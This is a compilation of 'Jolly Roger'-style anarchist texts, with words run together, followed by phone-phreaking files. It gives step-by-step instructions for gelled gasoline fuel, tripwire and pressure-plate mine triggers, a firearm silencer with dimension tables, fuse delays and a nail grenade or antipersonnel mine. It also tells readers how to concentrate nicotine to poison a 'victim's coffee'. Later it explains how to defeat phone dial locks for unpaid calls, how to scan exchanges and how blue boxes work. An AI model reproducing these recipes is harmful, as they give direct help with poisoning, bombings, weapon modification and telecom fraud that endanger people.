3GroundCoffeeFoodCoffeePlant
FoodStore
3DriedTeaLeavesFoodTeaPlant
FoodStore
3CocoaFoodCocoaTree
FoodStore
2SugarSweeteningSugarCane
FoodsFoodStore
1SaltpeterPyrotechnicsNatural
(PotassiumNitrate)ExplosivesDeposits
MatchesDrugStore

Medicine
1EpsomSaltsMedicineNatural
MineralWaterKisserite
IndustrialDrugStore
ProcessesFoodStore
2WashingSodaWashingCleanerFoodStore
(SalSoda)MedicineDrugStore
PhotographyPhotoSupply
Store
11/2BakingSodaBakingFoodStore
MineralWatersManufacturingof:DrugStore
Beverages,Medicines
11/2AspirinMedicineDrugStore
FoodStore
Procedure
Caution:Makesurethattherearenoopenflamesintheareawhenmixingflame
fuels! Nosmoking!!!Separatetheeggwhitefromtheyolk.Thiscanbedoneby
breakingtheeggintoadishandcarefullyremovingtheyolkwithaspoon.Pouregg
whiteintoajar,bottle,orothercontainerandaddgasoline.Addthesalt(orother
additive)tothemixtureandstiroccasionallyuntilgelforms(about5to10minutes).
Note:Athickergelledflamefuelcanbeobtainedbyputtingthecappedjarinhot
(65degreesCentigrade)waterforabout1/2hourandthenlettingthemcooltoroom
temperature.(Donotheatthegelledfuelcontainingcoffee!!)
ClothespinSwitch
byJollyRoger
Aspringtypeclothespinisusedtomakeacircuitclosingswitchtoactuate
explosivecharges,mines,boobytrapsandalarmsystems.
MaterialRequired
Springtypeclothespin;Soldcopperwire1/16in.(2mm)indiameter;Strong
stringonwire;Flatpieceofwood(roughly1/8x1"x2")andaKnife.
Procedure
Stripfourin.(10cm)ofinsulationfromtheendsof2solidcopperwires.Scrape
thecopperwireswithpocketknifeuntilthemetalisshiny.Windonescrapedwire
tightlyonjawoftheclothespinandtheotherwireontheotherjaw.Makeaholein
oneendoftheflatpieceofwoodusingaknife,heatednailordrill.Tiestrongstring
orwirethroughthehole.Placeflatpieceofwoodbetweenthejawsoftheclothespin
switch.

BasicFiringCircuit
______________
||\
|initiator|\|strong
||twine
||\
|__________

||\clothespin
\/
\/switch
\/
\/
\/
+

||
|battery|

Whentheflatpieceofwoodisremovedbypullingthestring,thejawsofthe
clothespinwillclose,completingthecircuit.
Caution:Donotattachthebatteryuntiltheswitchandtripwirehavebeenplaced
and examined. Be sure that the flat piece of woodis separatingthe jaws of the
switch.
FlexiblePlateSwitch
byJollyRoger
Thisflexibleplateswitchisusedforinitiatingplacedminesandexplosives.
MaterialRequired
Two flexible metal sheets, one approximately 10 in. (25 cm) square and one
approximately10in.x8in.(20cm);Pieceofwood10in.squarex1in.thick;
Foursoftwoodblocks1in.x1in.x1/4in.;Eightflatheadnails,1in.long;
ConnectingwiresandAdhesivetape.
Procedure
Nail10in.by8in.metalsheetto10in.squarepieceofwoodsothat1in.ofwood
showsoneachsideofthemetal.Leaveoneofthenailsstickingupabout1/4in.
Stripinsulationfromtheendofoneconnectingwire.Wrapthisendaroundthenail
anddrivethenailallthewayin.Placethefourwoodblocksonthecornersofthe

woodbase.Placethe10in.squareflexiblemetalsheetsothatitrestsontheblocksin
linewiththewoodbase.Drivefournailsthroughthemetalsheetandtheblocks(1
perblock)tofastenthesheettothewoodbase.Asecondconnectingwireisattached
tooneofthenailsasinstep#2.Wraptheadhesivetapearoundtheedgesoftheplate
andwoodbase.Thiswillassurethatnodirtorotherforeignmatterwillgetbetween
theplatesandpreventtheswitchfromoperating.
Howtouse
Theswitchisplacedinaholeinthepathofexpectedtrafficandcoveredwitha
thinlayerofdirtorothercamouflagingmaterial.Themineorotherexplosivedevice
connectedtotheswitchcanbeburiedwiththeswitchorplacedelsewhereasdesired.
Whenavehiclepassesovertheswitch,thetwometalplatesmakecontactclosingthe
firingcircuit.
LowSignatureSystems(Silencers)
byJollyRoger
Lowsignaturesystems(silencers)forimprovisedsmallarmsweaponscanbemade
fromsteelgasorwaterpipeandfittings.
MaterialRequired
Grenadecontainer;steelpipenipple,6in.(15cm)long(seetable1fordiameter);
2steelpipecouplings(seetable2fordimensions);cottoncloth(seetable2);drill
andabsorbentcotton.
Procedure
Drillholeingrenadecontaineratbothendstofitoutsidediameterofpipenipple.

(seetable1)
>/\
1. /||
2. 2,75in|)(<holes
3. dia.\||
4. >\/
5.
6. ||
7. 5in.
Drillfourrowsofholesinpipenipple.Usetable1fordiameterandlocationof
holes.

Note:IsuckatASCIIart!

8. 6in.
9. ||
10.__________________________________________
11.|OOOOOOOOOOOOOOOOO||C(nom.dia.)
12.
13.(sizeofhole)|\/(spacebetween)
14.B(dia.)A
15.

Threadoneofthepipecouplingsonthedrilledpipenipple.Cutcouplinglengthto
allowbarrelofweapontothreadfullyintolowsignaturesystem.Barrelshouldbutt
againstendofthedrilledpipenipple.Separatethetophalfofthegrenadecontainer
fromthebottomhalf.Insertthepipenippleinthedrilledholeatthebaseofthe
bottom half of the container. Pack the absorbent cotton inside the container and
aroundthepipenipple.Packtheabsorbentcottonintophalfofgrenadecontainer
leaving hole in centre. Assemble container to the bottom half. Thread the other
couplingontothepipenipple.
Note:Alongercontainerandpipenipple,withsame"A"and"B"dimensionsas
thosegiven,willfarthurreducethesignatureofthesystem.
Howtouse
Threadthelowsignaturesystemontheselectedweaponsecurely.Placetheproper
cotton wad size into the muzzle end of the system (see table 2). Load weapon.
Weaponisnowreadyforuse.
Table1LowSignatureSystemDimensions
(Coupling)Holesper(4rows)
ABCDRowTotal

.45cal3/81/43/83/81248
.38cal3/81/41/41/41248
9mm3/81/41/41/41248
7.62mm3/81/41/41/41248
.22cal1/45/321/8*1/81450

*ExtraHeavyPipe(alldimensionsininches)

Table2CottonWaddingSizes

WeaponCottonWaddingSize

.45cal11/2x6inches
.38cal1x4inches
9mm1x4inches
7.62mm1x4inches
.22calNotneeded
Improvedcigarettedelay
(byAtur{thePyromaniac})
AvariationonthestandardcigarettedisplaywasinventedbymygoodfriendAtur
(ThePyromaniac).Ratherthaninsertingthefuseintothesideofthecigarette(and
risksplittingit)halfofthefilteriscutoff,andasmallholeispunchedthroughthe
remainderofthefilterandintothetobacco.
(Ill.4.31.1)

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Thefuseisinsertedasfaraspossibleintothishole,thentapedorgluedinplace,or
thecigarettecanbecutandpunchedaheadoftimeandlitnormally,thenattachedto
thefuseatthescene.Asimilartypeofdevicecanbemakefrompowderedcharcoal
andasheetofpaper.Simplyrollthesheetofpaperintoathintube,andfillitwith
powderedcharcoal.Punchaholeinitatthedesiredlocation,andinsertafuse.Both
endsmustbegluedclosed,andoneendofthedelaymustbedousedwithlighter
fluidbeforeitislit.Orasmallchargeofgunpowdermixedwithpowderedcharcoal
couldconceivablyusedforignitingsuchadelay.Achainofcharcoalbriquettescan
beusedasadelaybymerelyliningupafewbricksofcharcoalsothattheytouch
eachother,endonend,andlightingthefirstbrick.Incense,whichcanbepurchased
atalmostanynoveltyorpartysupplystore,canalsobeusedasafairlyreliabledelay.
Bywrappingthefuseabouttheendofanincensestick,delaysofupto1/2anhour
arepossible.

Nicotine
byJollyRoger
Nicotineisanabundantpoison.Easilyfoundintobaccoproducts,inconcentrated

formafewdropscanquicklykillsomeone.Hereishowtoconcentrateit:Firstgeta
canofchewingtobaccoorpipetobacco.Removethecontentsandsoakinwater
overnightinajar(about2/3cupofwaterwilldo).Inthemorning,straininto another
jar themixture throughaporoustowel.Thenwrapthetowelaroundtheballof
tobaccoandsqueezeituntilalloftheliquidisinthejar.Throwawaythetobacco
youwillnotneeditanymore.Nowyouhavetwooptions.Irecommendthefirst.It
makesthenicotinemorepotent.Allowtoevaporateuntilastickysyrupresultsinthe
jar.Thisisalmostpurenicotine(hell,itispureenoughforsure!).Heatoverlow
flameuntilwaterisevaporatedandathickstickysyrupresults(Idon'tknowhow
longittakes...shouldn'ttaketoolong,though.).Nowallyouhavetodo,whenyou
wishtouseit,istoputafewdropsinamedicinedropperorequivalent,andslip
about4or5dropsintothevictim'scoffee.Coffeeisrecommendedsinceitwill
disguisethetaste.Sincenicotineisadrug,thevictimshouldgetquiteabuzzbefore
theyturntheirtoesuptothedaisies,sotospeak.
Note:Ifthesyrupistoosticky,diluteitwithafewdropsofwater.Andwhileyou
areatit,betteraddanextradroptothecoffeejusttobesure!
DriedSeedTimer
byJollyRoger
Atimedelaydeviceforelectricalfiringcircuitscanbemadeusingtheprincipleof
expansionofdriedseeds.
MaterialRequired
Driedpeas,beansorotherdehydratedseeds;Widemouthglassjarwithnon
metalcap;Twoscrewsorbolts;Thinmetalplate;HanddrillandaScrewdriver.
Procedure
Determinetherateoftheriseofthedriedseedsselected.Thisisnecessaryto
determinethedelaytimeofthetimer.Placeasampleofthedriedseedsinthejarand
coverwithwater.Measurethetimeittakesfortheseedstoriseagivenheight.Most
driedseedsincrease50%inonetotwohours.Cutadiscfromthinmetalplate.Disc
shouldfitlooselyinsidethejar.
Note:Ifmetalispainted,rustyorotherwisecoated,itmustbescrapedorsandedto
obtainacleanmetalsurface.
Drilltwoholesinthecapofthejarabout2inchesapart.Diameterofholesshould
besuchthatscrewsorboltswillthreadtightlyintothem.Ifthejarhasametalcapor

nocap,apieceofwoodorplastic(notmetal)canbeusedasacover.Turnthetwo
screwsorboltsthroughtheholesinthecap.Boltsshouldextendaboutonein.(21/2
cm)intothejar. Important: Bothboltsmustextendthesamedistancebelowthe
containercover.Pourdriedseedsintothecontainer.Thelevelwilldependuponthe
previouslymeasuredrisetimeandthedesireddelay.Placethemetaldiscinthejaron
topoftheseeds.
Howtouse
Addjustenoughwatertocompletelycovertheseedsandplacethecaponthejar.
Attach connecting wires from the firing circuit to the two screws on the cap.
Expansionoftheseedswillraisethemetaldiscuntilitcontactsthescrewsandcloses
thecircuit.
NailGrenade
byJollyRoger
EffectivefragmentationgrenadescanbemadefromablockofTNT orother
blastingexplosiveandnails.
MaterialRequired
Block of TNT or other blasting explosive; Nails; Non electric (military or
improvised)blastingcap;FuseCordandTape,string,wireorglue.
Procedure
IfanexplosivechargeotherthanastandardTNTblockisused,makeaholeinthe
centreofthechargeforinsertingtheblastingcap.TNTcanbedrilledwithrelative
safety.Withplasticexplosives,aholecanbemadebypressingaroundstickintothe
centreofthecharge.Theholeshouldbedeepenoughthattheblastingcapistotally
withintheexplosive.Tape,tieorglueoneortworowsofcloselypackednailstothe
sidesoftheexplosiveblock.Nailsshouldcompletelycoverthefoursurfacesofthe
block. Place blasting cap on one end of the fuse cord and crimp with pliers.
Note: Tofindouthowlongthefusecordshouldbe,checkthetimeittakesa
knownlengthtoburn.If12inches(30cm)burnsfor30seconds,a10seconddelay
willrequirea4inch(10cm)fuse.Inserttheblastingcapintheholeintheblockof
explosive.Tapeortiefusecordsecurelyinplacesothatitwillnotfalloutwhenthe
grenadeisthrown.
AlternateUse
Aneffectivedirectionalantipersonnelminecanbemadebyplacingnailsononly

onesideoftheexplosiveblock.Forthiscase,anelectricblastingcapcanbeused.
TheBellGlossary
courtesyofExodus
byAdArvin
ACD: AutomaticCallDistributorAsystemthatautomaticallydistributescallsto
operator pools (providing services such as intercept and directory assistance), to
airlineticketagents,etc.Administration:Thetasksofrecordkeeping,monitoring,
rearranging,predictionneedforgrowthetc.
AIS: Automatic Intercept System A system employing an audio response unit
undercontrolofaprocessortoautomaticallyprovidepertinentinfotocallersrouted
tointercept.
Alert:Toindicatetheexistenceofanincomingcall,(ringing).
ANI: AutomaticNumberIdentificationOftenpronounced"Annie,"afacilityfor
automaticallyidentifythenumberofthecallingpartyforchargingpurposes.
Appearance:Aconnectionuponanetworkterminal,asin"thelinehastwonetwork
appearances."
Attend: Theoperationofmonitoringalineoranincomingtrunkforoffhookor
seizure,respectively.
Audible: Thesubdued"image"ofringingtransmittedtothecallingpartyduring
ringing;notderivedfromtheactualringingsignalinlatersystems.
BackboneRoute:Theroutemadeupoffinalgrouptrunksbetweenendofficesin
differentregionalcentreareas.
BHC:BusyHourCallsThenumberofcallsplacedinthebusyhour.
Blocking:Theratioofunsuccessfultototalattemptstouseafacility;expressesasa
probabilitywhencomputedapriority.
BlockingNetwork:Anetworkthat,undercertainconditions,maybeunabletoform
atransmissionpathfromoneendofthenetworktotheother.Ingeneral,allnetworks
usedwithintheBellSystemsareoftheblockingtype.
BlueBox:Equipmentusedfraudulentlytosynthesizesignals,gainingaccesstothe
tollnetworkfortheplacementofcallswithoutcharge.
BorschtCircuit:Anameforthelinecircuitinthecentraloffice.Itfunctionsasa
mnemonicforthefunctionsthatmustbeperformedbythecircuit:Battery,Over
voltage,Ringing,Supervision,Coding,HybridandTesting.
Busy Signal: (Called line busy) An audible signal which, in the Bell System,
comprises480hzand620hzinterruptedat60IPM.
Bylink: Aspecialhighspeedmeansusedincrossbarequipmentforroutingcalls
incomingfromastepbystepoffice.Trunksfromsuchofficesareoftenreferredto
as"bylink"trunksevenwhenincomingtononcrossbaroffices;theyaremore
properlyreferredtoas"DCincomingtrunks."Suchhighspeedmeansarenecessary
toassurethatthefirstincomingpulseisnotlost.
CableVault:ThepointwhichphonecableenterstheCentralOfficebuilding.

Cama:CentralizedAutomaticMessageAccountingPronouncedlikeAlabama.
CCIS: Common Channel Interoffice Signalling Signalling information for trunk
connections over a separate, non speech data link rather that over the trunks
themselves.
CCITT: International Telegraph and Telephone Consultative Committee An
Internationalcommitteethatformulatesplansandsetsstandardsforintercountry
communicationmeans.
CDO:CommunityDialOfficeAsmallusuallyruralofficetypicallyservedbystep
bystepequipment.
Co: Central Office Comprises a switching network and its control and support
equipment.Occasionallyimproperlyusedtomean"officecode."
Centrex: AservicecomparableinfeaturestoPBXservicebutimplementedwith
some(CentrexCU)orall(CentrexCO)ofthecontrolinthecentraloffice.Inthe
latercase,eachstation'sloopconnectstothecentraloffice. CustomerLoop: The
wirepairconnectingacustomer'sstationtothecentraloffice.
DDD: Direct Distance Dialling Dialling without operator assistance over the
nationwideintertollnetwork.DirectTrunkGroup:Atrunkgroupthatisadirect
connectionbetweenagivenoriginatingandagiventerminatingoffice.
EOTT: EndOfficeTollTrunkingTrunkingbetweenendofficesindifferenttoll
centreareas.
ESB: EmergencyServiceBureauAcentralizedagencytowhich911"universal"
emergencycallsarerouted.ESS:ElectronicSwitchingSystemAgenerictermused
toidentifyasaclass,storedprogramswitchingsystemssuchastheBellSystem's
No.1No.2,No.3,No.4orNo.5.
ETS: Electronic Translation System An electronic replacement for the card
translatorin4ACrossbarsystems.MakesuseoftheSPC1AProcessor.
FalseStart:Anaborteddiallingattempt.
FastBusy: (oftencalledreorder)Anaudiblebusysignalinterruptedattwicethe
rateofthenormalbusysignal;senttotheoriginatingstationtoindicatethatthecall
blockedduetobusyequipment.
FinalTrunkGroup:Thetrunkgrouptowhichcallsareroutedwhenavailablehigh
usagetrunksoverflow;thesegroupsgenerally"home"onanofficenexthighestin
thehierarchy.
FullGroup: Atrunkgroupthatdoesnotpermitreroutingoffcontingentforeign
traffic;therearesevensuchoffices.
Glare: The situation that occurs when a two way trunk is seized more or less
simultaneouslyatbothends.
HighUsageTrunkGroup: Theappellationfor atrunkgroupthathasalternate
routesviaothersimilargroups,andultimatelyviaafinaltrunkgrouptoahigher
rankingoffice.
Intercept:Theagency(usuallyanoperator)towhichcallsareroutedwhenmadeto
a line recently removed from a service, or in some other category requiring
explanation. Automated versions (ASI) with automatic voice response units are
growinginuse.

Interrupt:Theinterruptiononaphonelinetodisconnectandconnectwithanother
station,suchasanEmergenceInterrupt.
Junctor: Awireorcircuitconnectionbetweennetworksinthesameoffice.The
functionalequivalenttoanintraofficetrunk.
MF: MultifrequencyThemethodofsignallingoveratrunkmakinguseofthe
simultaneousapplicationoftwooutofsixpossiblefrequencies.
NPA:NumberingPlanArea.
ONI: OperatorNumberIdentificationTheuseofanoperatorinaCamaofficeto
verballyobtainthecallingnumberofacalloriginatinginanofficenotequippedwith
ANI.
PBX: PrivateBranchExchange(PABX:PrivateAutomaticBranchExchange)An
telephone office serving a private customer, Typically, access to the outside
telephonenetworkisprovided.
PermanentSignal:Asustainedoffhookconditionwithoutactivity(nodiallingor
ringing or completed connection); such a condition tends to tie up equipment,
especiallyinearliersystems.Usuallyaccidental,butsometimesusedintentionallyby
customersinhighcrimerateareastothwartoffburglars.
Pots:PlainOldTelephoneServiceBasicservicewithnoextra"frills".
Rotl:RemoteOfficeTestLineAmeansforremotelytestingtrunks.
RTA:RemoteTrunkArrangementAnextensiontotheTSPSsystempermittingits
servicestobeprovidedupto200milesfromtheTSPSsite.
SF:SingleFrequency.Asignallingmethodfortrunks:2600hzisimpressedupon
idletrunks.
Supervise:Tomonitorthestatusofacall.
S x S: (Step by Step or Strowger switch) An electromechanical office type
utilizingagrossmotionsteppingswitchasacombinationnetworkanddistributed
control.
Talkoff:Thephenomenonofaccidentalsynthesisofamachineintelligiblesignalby
humanvoicecausinganunintendedresponse."whistlingatone".
Trunk:Apathbetweencentraloffices;ingeneral2wireforinterlocal,4wirefor
intertoll.
TSPS: Traffic Service Position System A system that provides, under stored
programcontrol,efficientoperatorassistancefortollcalls.Itdoesnotswitchthe
customer,butprovidesabridgeconnectiontotheoperator.
X bar: (Crossbar) An electromechanical office type utilizing a "fine motion"
coordinateswitchandamultiplicityofcentralcontrols(calledmarkers).Thereare
fourvarieties:
No.1Crossbar:Usedinlargeurbanofficeapplication;(1938)
No.3Crossbar:Asmallsystemstartedin(1974).
No.4A/4MCrossbar:A4wiretollmachine;(1943).
No. 5 Crossbar: A machine originally intended for relatively small suburban
applications;(1948)
CrossbarTandem:Amachineusedforinterlocalofficeswitching.

PhoneDialLocksHowtoBeatthem
courtesyofExodus
Haveyoueverbeeninanofficeorsomewhereandwantedtomakeafreephone
callbutsomeassholeputalockonthephonetopreventoutgoingcalls?Fretno
morefellowfreaker,foreverysystemcanbebeatenwithalittleknowledge!There
aretwowaystobeatthisobstacle,firstpickthelock,Idon'thavethetimetoteach
locksmithingsowegotothesecondmethodwhichtakesadvantageoftelephone
electronics.Tobeassimpleaspossiblewhenyoupickupthephoneyoucompletea
circuitknownasalocalloop.Whenyouhangupyoubreakthecircuit.Whenyou
dial(pulse)italsobreaksthecircuitbutnotlongenoughtohangup!Soyoucan
"Pushdial."Todothisyou>>>rapidly<<<depresstheswitchhook.Forexample,
todialanoperator(andthengiveherthenumberyouwanttocall)>>>rapidly<<<
&>>>evenly<<<depresstheswitchhook10times.Todial6341268,depress6
X'Spause,then3X'S,pause,then4X'S,etc.Ittakesalittlepracticebutyou'llgetthe
hangofit.Trypractisingwithyourown#soyou'llgetabusytonewhenright.It'll
alsoworkontouchtone(TM)sinceaDTMFlinewillalsoacceptpulse.Also,never
depresstheswitchhookformorethanasecondorit'llhangup!Finally,remember
thatyouhavejustasmuchrighttothatphoneastheassholewhoputthelockonit!
Unrevised.IhaveyettoseeaDialLock.
(fromtheOfficialFreaker'sGuide)
ExchangeScanning
courtesyofExodus
Almosteveryexchangeinthebellsystemhastest#'sandother"goodies"suchas
loopswithdialups.These"goodies"areusuallyfoundbetween9900and9999in
yourlocalexchange.Ifyouhavethetimeandinitiative,scanyourexchangeandyou
maybecomelucky!Herearesomefindingsinthe914268exchange:
9900ANI
9960osc.tone(tonesideloop)mayalso
9901ANI
beacomputerinsomeexchanges
9927 osc. tone (possible tone side of a 9961noresponse(otherendofloop?)
loop)
9962noresponse(otherendofloop?)
9936voice#totheTelcoCentralOffice 9963noresponse(otherendofloop?)
9937voice#totheTelcoCentralOffice 9966computer(see9941)
9941computer(digital

voice 9968tonethatdisappears responds to

transmission?)
certaintouchtonekeys
Mostofthenumbersbetween9900&9999willringorgotoa"what#,please?"
operator.
(fromtheOfficialFreaker'sManual)
AShortHistoryofFreaking

courtesyofExodus
Wellnowweknowalittlevocabulary,andnowitsintohistory,Freakhistory.
BackatMit in1964arrivedastudentbythenameofStewartNelsonwhowas
extremelyinterestedinthetelephone.BeforeenteringMit,hehadbuiltautodiallers,
cheeseboxesandmanymoregadgets.ButwhenhecametoMithebecameeven
moreinterestedin"phonehacking"astheycalledit.Afteralittlewhilehenaturally
started using the PDP 1, the schools computer at that time, and from there he
decidedthatitwouldbeinterestingtoseewhetherthecomputercouldgeneratethe
frequencies required for blue boxing. The hackers at Mit were not interested in
ripping off Ma Bell, but just exploring the telephone network. Stew (as he was
called)wroteaprogramtogenerateallthetonesandsetoffintothevastnetwork.
NowthereweremorepeoplefreakingthantheonesatMit.Mostpeoplehaveheard
ofCaptainCrunch(Nonotthecereal),healsodiscoveredhowtotakeridesthrough
thephonesystem,withtheaidofasmallwhistlefoundinacerealbox(canweguess
whichone?).Byblowingthiswhistle,hegeneratedthemagical2600hzandinto
themouthpieceitsailed,givinghimcompletecontroloverthesystem.Ihaveheard
rumoursthatatonetimehemadeabout1/4ofthecallscomingoutofSanFrancisco.
Hegotfamousfast.Hemadethecoverofpeoplemagazineandwasinterviewed
severaltimes(asyou'llsoonsee).Wellhefinallygotcaughtafteralongadventurous
career.Afterhewascaughthewasputinjailandwasbeatenupquitebadlybecause
hewouldnotteachotherinmateshowtoboxcalls.Aftergettingout,hejoinedApple
computerandisstillouttheresomewhere.ThentherewasJoetheWhistler,blind
formthedayhewasborn.Hecouldwhistleaperfect2600hztone.Itwasrumoured
freaksusedtocallhimtotunetheirboxes.Wellthatwasuptoabout1970,thenfrom
1970 to 1979, freaking was mainly done by college students, businessmen and
anyonewhoknewenoughaboutelectronicsandthephonecompanytomakea555
ICtogeneratethosemagictones.Businessmenandafewcollegestudentsmainly
justblueboxtogetfreecalls.Theotherswerestillthere,exploring800#'sandthe
newESSsystems.ESSposedabigproblemforfreaksthenandevenabiggerone
now.ESSwasnotwidespread,butwhereitwas,blueboxingwasnexttoimpossible
exceptforthemostexperiencedfreak.TodayESSisinstalledinalmostallmajor
cities and blue boxing is getting harder and harder. 1978 marked a change in
freaking,theApple][,nowacomputerthatwasaffordable,couldbeprogrammed,
andcouldsaveallthatpreciousworkonacassette.Thenjustashortwhilelatercame
theAppleCatmodem.Withthismodem,generatingallblueboxtoneswaseasyas
writing a program to count form one to ten (a little exaggerated). Pretty soon
programsthatcouldimitateanoperatorjustasgoodastherealthingwerehittingthe
community,TSPSandCat'sMeow,arethestandardnowandarethebest.1982
1986: LD services were starting to appear in mass numbers. People now had
programstohackLDservices,telephoneexchanges,andevenpasswords.Bynow
many freaks were getting extremely good and BBS' s started to spring up
everywhere,eachhavingmanydocumentationsonfreakingforthenovice.Thenit
happened,themovieWarGameswasreleasedandmassnumbersofsixthgradeto
allagesflockedtoseeit.Theproblemwasn'tthatthemoviewasbad,itwasthatnow

everyonewantedtobeahacker/freak.Novicescameoutinsuchmassnumbers,that
bulletinboardsstartedtobebusy24hoursaday.Tothisday,theystillhavenot
recovered.Otherproblemsstartedtooccur,novicesguessedeasypasswordsonlarge
governmentcomputersandstartedtoplayaround...Wellitwasn'tlongbeforethey
werecaught,Ithinkthatmanypeoplerememberthe414hackers.Theywereso
stupidastosay"yes"whenthecomputeraskedthemwhetherthey'dliketoplay
games.Wellatleastittakestheheatofftherealfreaks/hacker/krackers.
(fromtheOfficialFreaker'sManual)
SecretsoftheLittleBlueBox
courtesyofExodus
TheAAGProudlyPresentsTheAAGProudlyPresents:
Dudes...Thesefourfilescontainthestory
SecretsoftheLittleBlueBox
byRonRosenbaum
typedbyOneFaradCap/AAG
Astorysoincredibleitmayevenmakeyoufeelsorryforthephonecompany(First
offourfiles)
PrintedintheOctober1971issueofEsquireMagazine.Ifyouhappentobeina
libraryandcomeacrossacollectionofEsquiremagazines,theOctober1971issueis
thefirstissueprintedinthesmallerformat.Thestorybeginsonpage116witha
pictureofabluebox.
OneFaradCap,AtlanticAnarchistGuild
TheBlueBoxIsIntroduced:ItsQualitiesAreRemarked
IamintheexpensivelyfurnishedlivingroomofAlGilbertson(hisrealnamehas
beenchanged),thecreatorofthe"bluebox."Gilbertsonisholdingoneofhisshiny
blackandsilver"blueboxes"comfortablyinthepalmofhishand,pointingoutthe
thirteenlittleredpushbuttonsstickingupfromtheconsole.Heisdancinghisfingers
overthebuttons,tappingoutdiscordantbeepingelectronicjingles.Heistryingto
explaintomehowhislittleblueboxdoesnothinglessthanplacetheentiretelephone
systemoftheworld,satellites,cablesandall,attheserviceoftheblueboxoperator,
freeofcharge."That'swhatitdoes.Essentiallyitgivesyouthepowerofasuper
operator.Youseizeatandemwiththistopbutton,"hepressesthetopbuttonwithhis
indexfingerandtheblueboxemitsahighpitchedcheep"andlikethat"cheepgoes
the blue box again "you control the phone company's longdistance switching
systemsfromyourcutelittlePrincesphoneoranyoldpayphone.Andyou'vegot
anonymity.Anoperatorhastooperatefromadefinitelocation:the phonecompany
knowswheresheisandwhatshe'sdoing.Butwithyourbeeperbox,onceyouhop
ontoatrunk,sayfromaHolidayInn800(tollfree)number,theydon'tknowwhere
youare,orwhereyou'recomingfrom,theydon'tknowhowyouslippedintotheir
linesandpoppedupinthat800number.Theydon'tevenknowanythingillegalis
goingon.Andyoucanobscureyouroriginsthroughasmanylevelsasyoulike.You

cancallnextdoorbywayofWhitePlains,thenovertoLiverpoolbycable,andthen
backherebysatellite.Youcancallyourselffromonepayphoneallthewayaround
theworldtoapayphonenexttoyou.Andyougetyourdimebacktoo"."Andthey
can'ttracethecalls?Theycan'tchargeyou?""Notifyoudoittherightway.But
you'llfindthatthefreecallthingisn'treallyasexcitingatfirstasthefeelingof
poweryougetfromhavingoneofthesebabiesinyourhand.I'vewatchedpeople
whentheyfirstgetholdofoneofthesethingsandstartusingit,anddiscoverthey
canmakeconnections,set upcrisscrossandzigzagswitchingpatternsbackand
forthacrosstheworld.Theyhardlytalktothepeopletheyfinallyreach.Theysay
helloandstartthinkingofwhatkindofcalltomakenext.Theygoalittlecrazy."He
looks down at the neat little package in his palm. His fingers are still dancing,
tappingoutbeeperpatterns."Ithinkit'ssomethingtodowithhowsmallmymodels
are. There are lots of blue boxes around, but mine are the smallest and most
sophisticatedelectronically.IwishIcouldshowyoutheprototypewemadeforour
bigsyndicateorder."Hesighs."Wehadthisorderforathousandbeeperboxesfrom
asyndicatefrontmaninLasVegas.Theyusethemtoplacebetscoasttocoast,keep
linesopenforhours,allofwhichcangetexpensiveifyouhavetopay.Thedealwas
athousandblueboxesfor$300apiece.Beforethenweretailedthemfor$1500
apiece,but$300000inonelumpwashardtoturndown.Wehadamanufacturing
dealworkedoutinthePhilippines.Everythingreadytogo.Anyway,themodelIhad
ready for limited mass production was small enough to fit inside a flip op
Marlborough box. It had flush touch panels for a keyboard, rather than these
unsightlybuttons,stickingout.Lookedjustlikeatinyportableradio.Infact,Ihad
designeditwithatinytransistorreceivertogetoneAMchannel,soincasethelaw
became suspicious the owner could switch on the radio part, start snapping his
fingers,andnoonecouldtellanythingillegalwasgoingon.Ithoughtofeverything
forthismodelIhaditlinedwithabandoftermitewhichcouldbeignitedbyradio
signalfromatinybuttontransmitteronyourbelt,soitcouldbeburnedtoashes
instantlyincaseofabust.Itwasbeautiful.Abeautifullittlemachine.Youshould
haveseenthefacesonthesesyndicateguyswhentheycamebackaftertryingitout.
They'dholditintheirpalmliketheyneverwantedtoletitgoandthey'dsay,Ican't
believeit.Ican'tbelieveit.Youprobablywon'tbelieveituntilyoutryit."
TheBlueBoxIsTested:CertainConnectionsAreMade
Abouteleveno'clocktwonightslaterFraserLuceyhasablueboxinthepalmof
hislefthandandaphoneinthepalmofhisright.Heisstandinginsideaphonebooth
nexttoanisolatedshutdownmoteloffHighway1.Iamstandingoutsidethephone
booth.Fraserlikestoshowoffhisblueboxforpeople.Untilafewweeksagowhen
PacificTelephonemadeafewarrestsinhiscity,FraserLuceylikedtobring hisblue
box(Thisparticularbluebox,likemostblueboxes,isnotblue.Blueboxeshave
cometobecalled"blueboxes"eitherbecause
1)Thefirstblueboxeverconfiscatedbyphonecompany securitymenhappenedto
beblueor
2) To distinguish them from "black boxes." Black boxes are devices, usually a

resistorinseries,which,whenattachedtohomephones,allowallincomingcallsto
bemadewithoutchargetoone'scaller)toparties.
Itneverfailed:afewcheepsfromhisdeviceandFraserbecamethecentreof
attentionattheveryhippestofgatherings,playingphonetricksanddoingrequest
numbersfor hours.Hebegantotakeordersfor hismanufacturer inMexico.He
becameadealer.Fraseriscautiousnowaboutwhereheshowsoffhisbluebox.But
henevergetstiredofplayingwithit."It'slikethefirsttimeeverytime,"hetellsme.
Fraserputsadimeintheslot.Helistensforatoneandholdsthereceiveruptomy
ear.Ihearthetone.Fraserbeginsdescribing,withacertainpractisedair,whathe
doeswhilehedoesit."I'mdiallingan800numbernow.Any800numberwilldo.It's
tollfree.TonightIthinkI'llusethe(henamesawellknowrentacarcompany)
800number.Listen,It'sringing.Here,youhearit?Now,watch!"Heplacesthe
blueboxoverthemouthpieceofthephonesothattheonesilverandtwelveblack
pushbuttonsarefacinguptowardme.Hepressesthesilverbuttontheoneatthe
topandIhearthathighpitchedbeep."That's2600cyclespersecondtobeexact",
saysLucey."Now,quick.listen."Heshovestheearpieceatme.Theringinghas
vanished.Thelinegivesaslighthiccough,thereisasharpbuzzandthennothingbut
softwhitenoise."We'rehomefreenow,"Luceytellsme,takingbackthephoneand
applyingtheblueboxtoitsmouthpieceonce again."We'reuponatandem,intoa
longlinestrunk.Onceyou'reuponatandem,youcansendyourselfanywhereyou
wanttogo."HedecidestocheckoutLondonfirst.Hechoosesacertainpayphone
locatedinWaterlooStation.Thisparticularpayphoneispopularwiththephone
freaksnetworkbecausethereareusuallypeoplewalkingbyatallhourswhowill
pickitupandtalkforawhile.Hepressesthelowerlefthandcornerbuttonwhichis
marked"KP"onthefaceofthebox."That'sKeyPulse.Ittellsthetandemwe're
readytogiveitinstructions.FirstI'llpunchoutKP182Start,whichwillslideusinto
theoverseassenderinWhitePlains."Ihearaneatclunkcheep."Ithinkwe'llhead
overtoEnglandbysatellite.Cableisactuallyfasterandtheconnectionissomewhat
